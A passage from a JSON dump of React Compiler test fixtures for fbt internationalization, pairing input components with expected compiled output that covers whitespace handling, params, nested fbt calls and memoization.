PR!"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.tsx",
    "content": "import fbt from 'fbt';\n\nfunction Foo({name1, name2}) {\n  return (\n    <fbt desc=\"Text that is displayed when two people accepts the user's pull request.\">\n      <fbt:param name=\"user1\">\n        <span key={name1}>\n          <b>{name1}</b>\n        </span>\n      </fbt:param>\n      and\n      <fbt:param name=\"user2\">\n        <span key={name2}>\n          <b>{name2}</b>\n        </span>\n      </fbt:param>\n      accepted your PR!\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{name1: 'Mike', name2: 'Jan'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text\n      <fbt:param name=\"paramName\">{value}</fbt:param>\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nconst _ = fbt;\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = fbt._(\n      \"Before text {paramName}\",\n      [\n        fbt._param(\n          \"paramName\",\n\n          value,\n        ),\n      ],\n      { hk: \"3z5SVE\" },\n    );\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"hello world\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Before text hello world"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.tsx",
    "content": "import fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text\n      <fbt:param name=\"paramName\">{value}</fbt:param>\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {fbt} from 'fbt';\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({data}) {\n  const el = useMemo(\n    () => (\n      <fbt desc=\"user name\">\n        <fbt:param name=\"name\">{data.name ?? ''}</fbt:param>\n      </fbt>\n    ),\n    [data.name]\n  );\n  return <ValidateMemoization inputs={[data.name]} output={el} />;\n}\n\nconst props1 = {data: {name: 'Mike'}};\nconst props2 = {data: {name: 'Mofei'}};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [props1],\n  sequentialRenders: [props1, props2, props2, props1, {...props1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { fbt } from \"fbt\";\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { data } = t0;\n  let t1;\n  if ($[0] !== data.name) {\n    t1 = fbt._(\"{name}\", [fbt._param(\"name\", data.name ?? \"\")], {\n      hk: \"csQUH\",\n    });\n    $[0] = data.name;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const el = t1;\n  let t2;\n  if ($[2] !== data.name) {\n    t2 = [data.name];\n    $[2] = data.name;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== el || $[5] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={el} />;\n    $[4] = el;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nconst props1 = { data: { name: \"Mike\" } };\nconst props2 = { data: { name: \"Mofei\" } };\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [props1],\n  sequentialRenders: [props1, props2, props2, props1, { ...props1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[\"Mike\"],\"output\":\"Mike\"}</div>\n<div>{\"inputs\":[\"Mofei\"],\"output\":\"Mofei\"}</div>\n<div>{\"inputs\":[\"Mofei\"],\"output\":\"Mofei\"}</div>\n<div>{\"inputs\":[\"Mike\"],\"output\":\"Mike\"}</div>\n<div>{\"inputs\":[\"Mike\"],\"output\":\"Mike\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.js",
    "content": "import {fbt} from 'fbt';\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({data}) {\n  const el = useMemo(\n    () => (\n      <fbt desc=\"user name\">\n        <fbt:param name=\"name\">{data.name ?? ''}</fbt:param>\n      </fbt>\n    ),\n    [data.name]\n  );\n  return <ValidateMemoization inputs={[data.name]} output={el} />;\n}\n\nconst props1 = {data: {name: 'Mike'}};\nconst props2 = {data: {name: 'Mofei'}};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [props1],\n  sequentialRenders: [props1, props2, props2, props1, {...props1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text <fbt:param name=\"paramName\">{value}</fbt:param> after text\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nconst _ = fbt;\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = fbt._(\n      \"Before text {paramName} after text\",\n      [fbt._param(\"paramName\", value)],\n      { hk: \"26pxNm\" },\n    );\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"hello world\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Before text hello world after text"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.tsx",
    "content": "import fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text <fbt:param name=\"paramName\">{value}</fbt:param> after text\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {Stringify} from 'shared-runtime';\n\nexport function Component(props) {\n  let count = 0;\n  if (props.items) {\n    count = props.items.length;\n  }\n  return (\n    <Stringify>\n      {fbt(\n        `for ${fbt.param('count', count)} experiences`,\n        `Label for the number of items`,\n        {project: 'public'}\n      )}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [1, 2, 3]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { Stringify } from \"shared-runtime\";\n\nexport function Component(props) {\n  const $ = _c(4);\n  let count = 0;\n  if (props.items) {\n    count = props.items.length;\n  }\n  let t0;\n  if ($[0] !== count) {\n    t0 = fbt._(\"for {count} experiences\", [fbt._param(\"count\", count)], {\n      hk: \"nmYpm\",\n    });\n    $[0] = count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = <Stringify>{t0}</Stringify>;\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [1, 2, 3] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":\"for 3 experiences\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.js",
    "content": "import fbt from 'fbt';\nimport {Stringify} from 'shared-runtime';\n\nexport function Component(props) {\n  let count = 0;\n  if (props.items) {\n    count = props.items.length;\n  }\n  return (\n    <Stringify>\n      {fbt(\n        `for ${fbt.param('count', count)} experiences`,\n        `Label for the number of items`,\n        {project: 'public'}\n      )}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [1, 2, 3]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name=\"user name\">{props.name}</fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    const element = fbt._(\n      \"Hello {user name}\",\n      [fbt._param(\"user name\", props.name)],\n      { hk: \"2zEDKF\" },\n    );\n    t0 = element.toString();\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"Hello Jason\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name=\"user name\">{props.name}</fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text <fbt:param name=\"paramName\"> {value} </fbt:param> after text\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nconst _ = fbt;\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = fbt._(\n      \"Before text {paramName} after text\",\n      [fbt._param(\"paramName\", value)],\n      { hk: \"26pxNm\" },\n    );\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"hello world\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Before text hello world after text"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.tsx",
    "content": "import fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text <fbt:param name=\"paramName\"> {value} </fbt:param> after text\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text <fbt:param name=\"paramName\">{value}</fbt:param> after text\n      more text and more and more and more and more and more and more and more\n      and more and blah blah blah blah\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nconst _ = fbt;\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = fbt._(\n      \"Before text {paramName} after text more text and more and more and more and more and more and more and more and more and blah blah blah blah\",\n      [fbt._param(\"paramName\", value)],\n      { hk: \"24ZPpO\" },\n    );\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"hello world\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Before text hello world after text more text and more and more and more and more and more and more and more and more and blah blah blah blah"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.tsx",
    "content": "import fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text <fbt:param name=\"paramName\">{value}</fbt:param> after text\n      more text and more and more and more and more and more and more and more\n      and more and blah blah blah blah\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  return (\n    <Foo\n      value={\n        <fbt desc=\"Description of the parameter\">\n          <fbt:param name=\"value\">{'0'}</fbt:param>%\n        </fbt>\n      }\n    />\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Foo\n        value={fbt._(\"{value}%\", [fbt._param(\"value\", \"0\")], { hk: \"10F5Cc\" })}\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  return (\n    <Foo\n      value={\n        <fbt desc=\"Description of the parameter\">\n          <fbt:param name=\"value\">{'0'}</fbt:param>%\n        </fbt>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component({name, data, icon}) {\n  return (\n    <Text type=\"body4\">\n      <fbt desc=\"Lorem ipsum\">\n        <fbt:param name=\"item author\">\n          <Text type=\"h4\">{name}</Text>\n        </fbt:param>\n        <fbt:param name=\"icon\">{icon}</fbt:param>\n        <Text type=\"h4\">\n          <fbt:param name=\"item details\">{data}</fbt:param>\n        </Text>\n      </fbt>\n    </Text>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(t0) {\n  const $ = _c(6);\n  const { name, data, icon } = t0;\n  let t1;\n  if ($[0] !== data || $[1] !== icon || $[2] !== name) {\n    let t2;\n    if ($[4] !== name) {\n      t2 = <Text type=\"h4\">{name}</Text>;\n      $[4] = name;\n      $[5] = t2;\n    } else {\n      t2 = $[5];\n    }\n    t1 = (\n      <Text type=\"body4\">\n        {fbt._(\n          \"{item author}{icon}{=m2}\",\n          [\n            fbt._param(\"item author\", t2),\n            fbt._param(\n              \"icon\",\n\n              icon,\n            ),\n            fbt._implicitParam(\n              \"=m2\",\n              <Text type=\"h4\">\n                {fbt._(\"{item details}\", [fbt._param(\"item details\", data)], {\n                  hk: \"4jLfVq\",\n                })}\n              </Text>,\n            ),\n          ],\n          { hk: \"2HLm2j\" },\n        )}\n      </Text>\n    );\n    $[0] = data;\n    $[1] = icon;\n    $[2] = name;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.js",
    "content": "import fbt from 'fbt';\n\nfunction Component({name, data, icon}) {\n  return (\n    <Text type=\"body4\">\n      <fbt desc=\"Lorem ipsum\">\n        <fbt:param name=\"item author\">\n          <Text type=\"h4\">{name}</Text>\n        </fbt:param>\n        <fbt:param name=\"icon\">{icon}</fbt:param>\n        <Text type=\"h4\">\n          <fbt:param name=\"item details\">{data}</fbt:param>\n        </Text>\n      </fbt>\n    </Text>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <Foo\n      value={\n        <fbt desc=\"Description of the parameter\">\n          <fbt:param name=\"value\">{<>{identity(props.text)}</>}</fbt:param>%\n        </fbt>\n      }\n    />\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.text) {\n    const t1 = identity(props.text);\n    let t2;\n    if ($[2] !== t1) {\n      t2 = <>{t1}</>;\n      $[2] = t1;\n      $[3] = t2;\n    } else {\n      t2 = $[3];\n    }\n    t0 = (\n      <Foo\n        value={fbt._(\"{value}%\", [fbt._param(\"value\", t2)], { hk: \"10F5Cc\" })}\n      />\n    );\n    $[0] = props.text;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.js",
    "content": "import fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <Foo\n      value={\n        <fbt desc=\"Description of the parameter\">\n          <fbt:param name=\"value\">{<>{identity(props.text)}</>}</fbt:param>%\n        </fbt>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {fbt} from 'fbt';\n\nfunction Component() {\n  const buttonLabel = () => {\n    if (!someCondition) {\n      return <fbt desc=\"My label\">{'Purchase as a gift'}</fbt>;\n    } else if (\n      !iconOnly &&\n      showPrice &&\n      item?.current_gift_offer?.price?.formatted != null\n    ) {\n      return (\n        <fbt desc=\"Gift button's label\">\n          {'Gift | '}\n          <fbt:param name=\"price\">\n            {item?.current_gift_offer?.price?.formatted}\n          </fbt:param>\n        </fbt>\n      );\n    } else if (!iconOnly && !showPrice) {\n      return <fbt desc=\"Gift button's label\">{'Gift'}</fbt>;\n    }\n  };\n\n  return (\n    <View>\n      <Button text={buttonLabel()} />\n    </View>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { fbt } from \"fbt\";\n\nfunction Component() {\n  const $ = _c(1);\n  const buttonLabel = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <View>\n        <Button text={buttonLabel()} />\n      </View>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  if (!someCondition) {\n    return fbt._(\"Purchase as a gift\", null, { hk: \"1gHj4g\" });\n  } else {\n    if (\n      !iconOnly &&\n      showPrice &&\n      item?.current_gift_offer?.price?.formatted != null\n    ) {\n      return fbt._(\n        \"Gift | {price}\",\n        [fbt._param(\"price\", item?.current_gift_offer?.price?.formatted)],\n        { hk: \"3GTnGE\" },\n      );\n    } else {\n      if (!iconOnly && !showPrice) {\n        return fbt._(\"Gift\", null, { hk: \"3fqfrk\" });\n      }\n    }\n  }\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/lambda-with-fbt.js",
    "content": "import {fbt} from 'fbt';\n\nfunction Component() {\n  const buttonLabel = () => {\n    if (!someCondition) {\n      return <fbt desc=\"My label\">{'Purchase as a gift'}</fbt>;\n    } else if (\n      !iconOnly &&\n      showPrice &&\n      item?.current_gift_offer?.price?.formatted != null\n    ) {\n      return (\n        <fbt desc=\"Gift button's label\">\n          {'Gift | '}\n          <fbt:param name=\"price\">\n            {item?.current_gift_offer?.price?.formatted}\n          </fbt:param>\n        </fbt>\n      );\n    } else if (!iconOnly && !showPrice) {\n      return <fbt desc=\"Gift button's label\">{'Gift'}</fbt>;\n    }\n  };\n\n  return (\n    <View>\n      <Button text={buttonLabel()} />\n    </View>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nimport {fbt} from 'fbt';\n\nfunction Example({x}) {\n  // \"Inner Text\" needs to be visible to fbt: the <Bar> element cannot\n  // be memoized separately\n  return (\n    <fbt desc=\"Description\">\n      Outer Text\n      <Foo key=\"b\" x={x}>\n        <Bar key=\"a\">Inner Text</Bar>\n      </Foo>\n    </fbt>\n  );\n}\n\nfunction Foo({x, children}) {\n  'use no memo';\n  return (\n    <>\n      <div>{x}</div>\n      <span>{children}</span>\n    </>\n  );\n}\n\nfunction Bar({children}) {\n  'use no memo';\n  return children;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{x: 'Hello'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { fbt } from \"fbt\";\n\nfunction Example(t0) {\n  const $ = _c(2);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = fbt._(\n      \"Outer Text {=m1}\",\n      [\n        fbt._implicitParam(\n          \"=m1\",\n\n          <Foo key=\"b\" x={x}>\n            {fbt._(\n              \"{=m1}\",\n              [\n                fbt._implicitParam(\n                  \"=m1\",\n                  <Bar key=\"a\">\n                    {fbt._(\"Inner Text\", null, { hk: \"32YB0l\" })}\n                  </Bar>,\n                ),\n              ],\n              { hk: \"23dJsI\" },\n            )}\n          </Foo>,\n        ),\n      ],\n      { hk: \"2RVA7V\" },\n    );\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction Foo({ x, children }) {\n  \"use no memo\";\n  return (\n    <>\n      <div>{x}</div>\n      <span>{children}</span>\n    </>\n  );\n}\n\nfunction Bar({ children }) {\n  \"use no memo\";\n  return children;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{ x: \"Hello\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Outer Text <div>Hello</div><span>Inner Text</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/recursively-merge-scopes-jsx.js",
    "content": "// @flow\nimport {fbt} from 'fbt';\n\nfunction Example({x}) {\n  // \"Inner Text\" needs to be visible to fbt: the <Bar> element cannot\n  // be memoized separately\n  return (\n    <fbt desc=\"Description\">\n      Outer Text\n      <Foo key=\"b\" x={x}>\n        <Bar key=\"a\">Inner Text</Bar>\n      </Foo>\n    </fbt>\n  );\n}\n\nfunction Foo({x, children}) {\n  'use no memo';\n  return (\n    <>\n      <div>{x}</div>\n      <span>{children}</span>\n    </>\n  );\n}\n\nfunction Bar({children}) {\n  'use no memo';\n  return children;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{x: 'Hello'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {Stringify, identity} from 'shared-runtime';\n\n/**\n * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.\n * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:\n *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier\n *   ---\n *   t3\n *   ---\n */\nfunction Component({firstname, lastname}) {\n  'use memo';\n  return (\n    <div>\n      {fbt(\n        [\n          'Name: ',\n          fbt.param('firstname', <Stringify key={0} name={firstname} />),\n          ', ',\n          fbt.param(\n            'lastname',\n            identity(\n              fbt(\n                '(inner)' +\n                  fbt.param('lastname', <Stringify key={1} name={lastname} />),\n                'Inner fbt value'\n              )\n            )\n          ),\n        ],\n        'Name'\n      )}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{firstname: 'first', lastname: 'last'}],\n  sequentialRenders: [{firstname: 'first', lastname: 'last'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { Stringify, identity } from \"shared-runtime\";\n\n/**\n * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.\n * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:\n *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier\n *   ---\n *   t3\n *   ---\n */\nfunction Component(t0) {\n  \"use memo\";\n  const $ = _c(9);\n  const { firstname, lastname } = t0;\n  let t1;\n  if ($[0] !== firstname || $[1] !== lastname) {\n    let t2;\n    if ($[3] !== firstname) {\n      t2 = <Stringify key={0} name={firstname} />;\n      $[3] = firstname;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    let t3;\n    if ($[5] !== lastname) {\n      t3 = <Stringify key={1} name={lastname} />;\n      $[5] = lastname;\n      $[6] = t3;\n    } else {\n      t3 = $[6];\n    }\n    t1 = fbt._(\n      \"Name: {firstname}, {lastname}\",\n      [\n        fbt._param(\"firstname\", t2),\n        fbt._param(\n          \"lastname\",\n          identity(\n            fbt._(\"(inner){lastname}\", [fbt._param(\"lastname\", t3)], {\n              hk: \"1Kdxyo\",\n            }),\n          ),\n        ),\n      ],\n      { hk: \"3AiIf8\" },\n    );\n    $[0] = firstname;\n    $[1] = lastname;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[7] !== t1) {\n    t2 = <div>{t1}</div>;\n    $[7] = t1;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ firstname: \"first\", lastname: \"last\" }],\n  sequentialRenders: [{ firstname: \"first\", lastname: \"last\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Name: <div>{\"name\":\"first\"}</div>, (inner)<div>{\"name\":\"last\"}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt-jsx.js",
    "content": "import fbt from 'fbt';\nimport {Stringify, identity} from 'shared-runtime';\n\n/**\n * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.\n * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:\n *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier\n *   ---\n *   t3\n *   ---\n */\nfunction Component({firstname, lastname}) {\n  'use memo';\n  return (\n    <div>\n      {fbt(\n        [\n          'Name: ',\n          fbt.param('firstname', <Stringify key={0} name={firstname} />),\n          ', ',\n          fbt.param(\n            'lastname',\n            identity(\n              fbt(\n                '(inner)' +\n                  fbt.param('lastname', <Stringify key={1} name={lastname} />),\n                'Inner fbt value'\n              )\n            )\n          ),\n        ],\n        'Name'\n      )}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{firstname: 'first', 